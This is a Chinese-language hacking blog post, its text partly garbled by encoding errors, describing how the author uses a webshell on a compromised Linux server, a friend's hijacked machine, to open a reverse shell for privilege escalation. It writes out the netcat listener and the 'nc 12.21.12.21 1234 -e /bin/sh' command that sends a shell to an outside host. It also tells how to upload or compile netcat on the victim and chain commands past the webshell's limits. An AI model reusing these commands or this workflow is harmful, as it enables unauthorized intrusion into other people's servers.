Linux下反彈CmdLine Shell小技巧
玩了半天朋友給的Linux的WebShell,本來想實(shí)踐一下UDEV提權(quán)呢,***發(fā)現(xiàn)服務(wù)器貌似已經(jīng)打過補(bǔ)丁了。
不過還是有其他的收獲的,所以我就YY下Linux反彈shell的問題。
Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是我們的EXP必須在可交互環(huán)境運(yùn)行,否則如果直接在WebShell執(zhí)行,即使能提權(quán)成功,我們也沒法利用到。所以我們需要先反彈一個CmdLine Shell回來(直接說成CmdShell怕人誤解...因為Win有個cmd.exe ^_^),然后在命令行終端下執(zhí)行EXP進(jìn)行提權(quán)。
一般情況下,絕大多數(shù)人都會通過PHP WebShell的Back Connect功能彈回一個Shell,但是有時候會碰到服務(wù)器不支持PHP或者WebShell沒法反彈的情況,比如這兩天朋友給我的一個JSPShell所在服務(wù)器只支持JSP,不支持PHP。這時候,我們經(jīng)典的netcat就可以派上用場了。
平時在Windows下做事的時候,在必要的情況下我們可以先在本機(jī)運(yùn)行nc -vv -lp 1234監(jiān)聽端口,然后在肉雞上nc 12.21.12.21 1234 -e cmd.exe給我們反彈一個CmdShell,這個方法在Linux仍然可行。
在本機(jī)監(jiān)聽后,在WebShell運(yùn)行nc 12.21.12.21 1234 -e /bin/sh就能彈一個CmdLine Shell給我們。
但我們經(jīng)常碰到的情況并不都是這么100%順利的,像昨晚整的那兩臺,每臺都是不能直接執(zhí)行nc的。一臺有nc,但執(zhí)行從是不起作用,另外一臺直接壓根就沒有nc....
不過,這個難不倒我們,我們可以給他裝一個嘛,比較快捷的方法是,我們可以到http://netcat.sourceforge.net/download.php下載nc的源碼,先在我們自己linux機(jī)器上編譯好以后把bin文件傳上去(我開始傳的我的Debian自帶的netcat,結(jié)果仍然不能運(yùn)行....)。如果還不行,那就把源碼傳上去,在目標(biāo)機(jī)器上直接編譯。
昨晚那兩臺機(jī)器,一臺我是直接傳的本地編譯后的,一臺是在目標(biāo)機(jī)器上編譯的。如果直接傳的nc可以運(yùn)行的話還比較好說,如果需要在目標(biāo)機(jī)器上編譯的話,這里有點(diǎn)小技巧:
因為在得到CmdLine Shell前,我們只能在WebShell里執(zhí)行命令,一般每次只能執(zhí)行一條,然后等回顯。假如我們的WebShell在/var/www/site目錄,那么我們每次執(zhí)行命令默認(rèn)的當(dāng)前路徑都是/var/www/site,而我們的netcat源碼包解壓在了/tmp/netcatsrc文件夾,這樣的話,我們編譯netcat的時候,configure還好說,可用/tmp/netcatsrc/configure命令,但下一步make的時候就不行了,因為當(dāng)前路徑是/var/www/site,而不是我們想要的/tmp/netcatsrc/,所以我們configure完了make的時候會報錯。
解決這個問題其實(shí)也很簡單,可以直接把兩句寫成一句就可以:cd /tmp/netcatsrc;make
用分號隔開寫,把make跟在目錄切換命令后面,這樣編譯的時候就不會報錯了。(流浪貓教的..^_^)
在還沒有得到CmdLine Shell的時候,這樣的寫法還是很有用的。
【編輯推薦】